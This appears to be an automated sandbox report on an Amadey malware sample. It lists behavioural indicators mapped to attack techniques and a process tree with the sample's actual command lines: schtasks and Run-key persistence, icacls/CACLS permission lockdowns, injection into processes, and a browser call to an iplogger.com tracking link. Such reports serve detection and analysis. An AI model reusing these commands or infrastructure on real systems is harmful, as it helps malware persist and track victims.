amadey | ec2362e8621593898b0bf217dd680288262c6dae95c1d843df4818bd0e445e56

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	C6F8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	yiueea.exe
Key value queried	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Control Panel\International\Geo\Nation	AAD1.exe

Executes dropped EXE 18 IoCs

pid	Process
3996	AAD1.exe
456	C243.exe
3440	AAD1.exe
4872	C6F8.exe
4644	CC58.exe
492	D67A.exe
3592	EAAF.exe
4084	yiueea.exe
4436	difficultspecific.exe
4252	callcustomerpro.exe
2716	callcustomer.exe
3100	AAD1.exe
2832	WerFault.exe
4080	toolspub2.exe
640	AAD1.exe
1908	latestX.exe
3504	C263.exe
1924	yiueea.exe

Loads dropped DLL 3 IoCs

pid	Process
852	regsvr32.exe
3504	C263.exe
3504	C263.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4992	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	difficultspecific.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	callcustomerpro.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	EAAF.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\9ccc94e3-4beb-49a8-97c8-b3ac9fd25200\\AAD1.exe\" --AutoStart"	AAD1.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
91	api.2ip.ua
92	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3996 set thread context of 3440	3996	AAD1.exe	101
PID 456 set thread context of 1772	456	C243.exe	105
PID 2832 set thread context of 4080	2832	WerFault.exe	133
PID 3100 set thread context of 640	3100	AAD1.exe	139

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4420	sc.exe
3808	sc.exe
2704	sc.exe
3796	sc.exe
1968	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
3780	456	WerFault.exe	99
2704	640	WerFault.exe	139

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x000900000002322b-391.dat	nsis_installer_1
behavioral2/files/0x000900000002322b-391.dat	nsis_installer_2
behavioral2/files/0x000900000002322b-393.dat	nsis_installer_1
behavioral2/files/0x000900000002322b-393.dat	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 9 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CC58.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CC58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	CC58.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
4112	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2988	file.exe
2988	file.exe
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2264	Explorer.EXE

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2988	file.exe
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
2264	Explorer.EXE
4644	CC58.exe
4080	toolspub2.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeDebugPrivilege	2716	callcustomer.exe
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeDebugPrivilege	1756	powershell.exe
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeShutdownPrivilege	2264	Explorer.EXE
Token: SeCreatePagefilePrivilege	2264	Explorer.EXE
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeShutdownPrivilege	1488	powercfg.exe
Token: SeCreatePagefilePrivilege	1488	powercfg.exe
Token: SeShutdownPrivilege	5508	powercfg.exe
Token: SeCreatePagefilePrivilege	5508	powercfg.exe
Token: SeShutdownPrivilege	5524	powercfg.exe
Token: SeCreatePagefilePrivilege	5524	powercfg.exe
Token: SeShutdownPrivilege	5540	powercfg.exe
Token: SeCreatePagefilePrivilege	5540	powercfg.exe
Token: SeIncreaseQuotaPrivilege	4620	powershell.exe
Token: SeSecurityPrivilege	4620	powershell.exe
Token: SeTakeOwnershipPrivilege	4620	powershell.exe
Token: SeLoadDriverPrivilege	4620	powershell.exe
Token: SeSystemProfilePrivilege	4620	powershell.exe
Token: SeSystemtimePrivilege	4620	powershell.exe
Token: SeProfSingleProcessPrivilege	4620	powershell.exe
Token: SeIncBasePriorityPrivilege	4620	powershell.exe
Token: SeCreatePagefilePrivilege	4620	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe
4540	msedge.exe

Suspicious use of UnmapMainImage 1 IoCs

pid	Process
2264	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2264 wrote to memory of 3996	2264	Explorer.EXE	97
PID 2264 wrote to memory of 3996	2264	Explorer.EXE	97
PID 2264 wrote to memory of 3996	2264	Explorer.EXE	97
PID 2264 wrote to memory of 2460	2264	Explorer.EXE	98
PID 2264 wrote to memory of 2460	2264	Explorer.EXE	98
PID 2264 wrote to memory of 456	2264	Explorer.EXE	99
PID 2264 wrote to memory of 456	2264	Explorer.EXE	99
PID 2264 wrote to memory of 456	2264	Explorer.EXE	99
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 3996 wrote to memory of 3440	3996	AAD1.exe	101
PID 2264 wrote to memory of 4872	2264	Explorer.EXE	102
PID 2264 wrote to memory of 4872	2264	Explorer.EXE	102
PID 2264 wrote to memory of 4872	2264	Explorer.EXE	102
PID 2264 wrote to memory of 4644	2264	Explorer.EXE	103
PID 2264 wrote to memory of 4644	2264	Explorer.EXE	103
PID 2264 wrote to memory of 4644	2264	Explorer.EXE	103
PID 2460 wrote to memory of 852	2460	regsvr32.exe	104
PID 2460 wrote to memory of 852	2460	regsvr32.exe	104
PID 2460 wrote to memory of 852	2460	regsvr32.exe	104
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 456 wrote to memory of 1772	456	C243.exe	105
PID 2264 wrote to memory of 492	2264	Explorer.EXE	106
PID 2264 wrote to memory of 492	2264	Explorer.EXE	106
PID 2264 wrote to memory of 492	2264	Explorer.EXE	106
PID 2264 wrote to memory of 3592	2264	Explorer.EXE	108
PID 2264 wrote to memory of 3592	2264	Explorer.EXE	108
PID 3592 wrote to memory of 2072	3592	EAAF.exe	111
PID 3592 wrote to memory of 2072	3592	EAAF.exe	111
PID 2264 wrote to memory of 5036	2264	Explorer.EXE	110
PID 2264 wrote to memory of 5036	2264	Explorer.EXE	110
PID 2264 wrote to memory of 5036	2264	Explorer.EXE	110
PID 2264 wrote to memory of 5036	2264	Explorer.EXE	110
PID 2264 wrote to memory of 4172	2264	Explorer.EXE	113
PID 2264 wrote to memory of 4172	2264	Explorer.EXE	113
PID 2264 wrote to memory of 4172	2264	Explorer.EXE	113
PID 4872 wrote to memory of 4084	4872	C6F8.exe	114
PID 4872 wrote to memory of 4084	4872	C6F8.exe	114
PID 4872 wrote to memory of 4084	4872	C6F8.exe	114
PID 4084 wrote to memory of 4112	4084	yiueea.exe	115
PID 4084 wrote to memory of 4112	4084	yiueea.exe	115
PID 4084 wrote to memory of 4112	4084	yiueea.exe	115
PID 4084 wrote to memory of 3460	4084	yiueea.exe	118
PID 4084 wrote to memory of 3460	4084	yiueea.exe	118
PID 4084 wrote to memory of 3460	4084	yiueea.exe	118
PID 3460 wrote to memory of 388	3460	cmd.exe	119
PID 3460 wrote to memory of 388	3460	cmd.exe	119
PID 3460 wrote to memory of 388	3460	cmd.exe	119
PID 3460 wrote to memory of 4648	3460	cmd.exe	120
PID 3460 wrote to memory of 4648	3460	cmd.exe	120
PID 3460 wrote to memory of 4648	3460	cmd.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-919254492-3979293997-764407192-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:2264
- C:\Users\Admin\AppData\Local\Temp\file.exe
  "C:\Users\Admin\AppData\Local\Temp\file.exe"
  2⤵
  - Checks SCSI registry key(s)
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  PID:2988
- C:\Users\Admin\AppData\Local\Temp\AAD1.exe
  C:\Users\Admin\AppData\Local\Temp\AAD1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:3996
- - C:\Users\Admin\AppData\Local\Temp\AAD1.exe
    C:\Users\Admin\AppData\Local\Temp\AAD1.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Adds Run key to start application
    PID:3440
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Users\Admin\AppData\Local\9ccc94e3-4beb-49a8-97c8-b3ac9fd25200" /deny *S-1-1-0:(OI)(CI)(DE,DC)
      4⤵
      Modifies file permissions
      PID:4992
  - - C:\Users\Admin\AppData\Local\Temp\AAD1.exe
      "C:\Users\Admin\AppData\Local\Temp\AAD1.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:3100
    - - C:\Users\Admin\AppData\Local\Temp\AAD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\AAD1.exe" --Admin IsNotAutoStart IsNotTask
        5⤵
        Executes dropped EXE
        
        PID:640
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 568
        6⤵
        Program crash
        
        PID:2704
- C:\Windows\system32\regsvr32.exe
  regsvr32 /s C:\Users\Admin\AppData\Local\Temp\AE6C.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\regsvr32.exe
    /s C:\Users\Admin\AppData\Local\Temp\AE6C.dll
    3⤵
    - Loads dropped DLL
    PID:852
- C:\Users\Admin\AppData\Local\Temp\C243.exe
  C:\Users\Admin\AppData\Local\Temp\C243.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:456
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
    3⤵
    PID:1772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 456 -s 140
    3⤵
    - Program crash
    PID:3780
- C:\Users\Admin\AppData\Local\Temp\C6F8.exe
  C:\Users\Admin\AppData\Local\Temp\C6F8.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4872
- - C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe
    "C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4084
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN yiueea.exe /TR "C:\Users\Admin\AppData\Local\Temp\577f58beff\yiueea.exe" /F
      4⤵
      Creates scheduled task(s)
      PID:4112
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "yiueea.exe" /P "Admin:N"&&CACLS "yiueea.exe" /P "Admin:R" /E&&echo Y|CACLS "..\577f58beff" /P "Admin:N"&&CACLS "..\577f58beff" /P "Admin:R" /E&&Exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3460
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:388
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:N"
        5⤵
        
        PID:4648
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "yiueea.exe" /P "Admin:R" /E
        5⤵
        
        PID:3228
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        5⤵
        
        PID:1824
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\577f58beff" /P "Admin:N"
        5⤵
        
        PID:2984
    - - C:\Windows\SysWOW64\cacls.exe
        
        CACLS "..\577f58beff" /P "Admin:R" /E
        5⤵
        
        PID:868
  - - C:\Users\Admin\AppData\Local\Temp\1000108001\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\1000108001\toolspub2.exe"
      4⤵
      PID:2832
    - - C:\Users\Admin\AppData\Local\Temp\1000108001\toolspub2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000108001\toolspub2.exe"
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: MapViewOfSection
        
        PID:4080
  - - C:\Users\Admin\AppData\Local\Temp\1000111001\latestX.exe
      "C:\Users\Admin\AppData\Local\Temp\1000111001\latestX.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in Drivers directory
      Executes dropped EXE
      PID:1908
- C:\Users\Admin\AppData\Local\Temp\CC58.exe
  C:\Users\Admin\AppData\Local\Temp\CC58.exe
  2⤵
  - Executes dropped EXE
  - Checks SCSI registry key(s)
  - Suspicious behavior: MapViewOfSection
  PID:4644
- C:\Users\Admin\AppData\Local\Temp\D67A.exe
  C:\Users\Admin\AppData\Local\Temp\D67A.exe
  2⤵
  - Executes dropped EXE
  PID:492
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:3980
- C:\Users\Admin\AppData\Local\Temp\EAAF.exe
  C:\Users\Admin\AppData\Local\Temp\EAAF.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3592
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c difficspec.bat
    3⤵
    PID:2072
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.com/2luJX1
      4⤵
      Enumerates system info in registry
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4540
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd76b46f8,0x7fffd76b4708,0x7fffd76b4718
        5⤵
        
        PID:376
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2492 /prefetch:8
        5⤵
        
        PID:832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 /prefetch:3
        5⤵
        
        PID:4248
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2408 /prefetch:2
        5⤵
        
        PID:5108
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3376 /prefetch:1
        5⤵
        
        PID:1352
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
        5⤵
        
        PID:4272
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4852 /prefetch:1
        5⤵
        
        PID:3428
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4416 /prefetch:1
        5⤵
        
        PID:4872
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
        5⤵
        
        PID:408
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6052 /prefetch:1
        5⤵
        
        PID:2832
    - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2064,547801310798992015,17357109707672932018,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 /prefetch:8
        5⤵
        
